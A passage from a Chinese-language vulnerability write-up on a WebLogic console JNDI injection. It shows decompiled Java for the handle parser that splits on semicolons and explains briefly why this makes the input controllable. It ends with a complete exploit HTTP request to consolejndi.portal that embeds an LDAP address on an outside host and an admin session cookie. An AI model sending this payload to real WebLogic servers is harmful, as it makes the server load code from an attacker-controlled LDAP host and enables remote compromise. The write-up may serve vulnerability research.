privateString[]getComponents(){if(this.components==null){Stringserialized=this.getObjectIdentifier();ArrayListcomponentList=newArrayList();StringBuffercurrentComponent=newStringBuffer();booleanlastWasSpecial=false;for(inti=0;i<serialized.length();++i){charc=serialized.charAt(i);if(lastWasSpecial){if(c=='0'){if(currentComponent==null){thrownewAssertionError("Handle component already null : '"+serialized+'"');}if(currentComponent.length()>0){thrownewAssertionError("Null handle component preceeded by a character : '"+serialized+"'");}currentComponent=null;}elseif(c=='\\'){if(currentComponent==null){thrownewAssertionError("Null handle followed by \\ : '"+serialized+"'");}currentComponent.append('\\');}else{if(c!=';'){thrownewAssertionError("\\ in handle followed by a character :'"+serialized+"'");}if(currentComponent==null){thrownewAssertionError("Null handle followed by ; : '"+serialized+"'");}currentComponent.append(';');}lastWasSpecial=false;}elseif(c=='\\'){if(currentComponent==null){thrownewAssertionError("Null handle followed by \\ : '"+serialized+"'");}lastWasSpecial=true;}elseif(c==';'){Stringcomponent=currentComponent!=null?currentComponent.toString():null;componentList.add(component);currentComponent=newStringBuffer();}else{if(currentComponent==null){thrownewAssertionError("Null handle followed by a character : '"+serialized+"'");}currentComponent.append(c);}}if(lastWasSpecial){thrownewAssertionError("Last character in handle is \\ :'"+serialized+"'");}Stringcomponent=currentComponent!=null?currentComponent.toString():null;componentList.add(component);this.components=(String[])((String[])componentList.toArray(newString[componentList.size()]));}returnthis.components;}
整体逻辑就是用;号分割,相当于全部可控,造成jndi注入。
最后捋一下整体条件
;号隔开jndi地址
serverName必须为AdminServer
# exp
1
2
3
4
5
6
7
8
9
10
11
12
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://172.16.0;1:1389/aew0xy;AdminServer%22) HTTP/1.1
Host: 172.16.1.134:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.1.134:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=8Xk3Y9pCjDLlUARpWoE3rhia67n0LKY5xuTzTHfWxz1ITlNDOob1!1254895310
Connection: close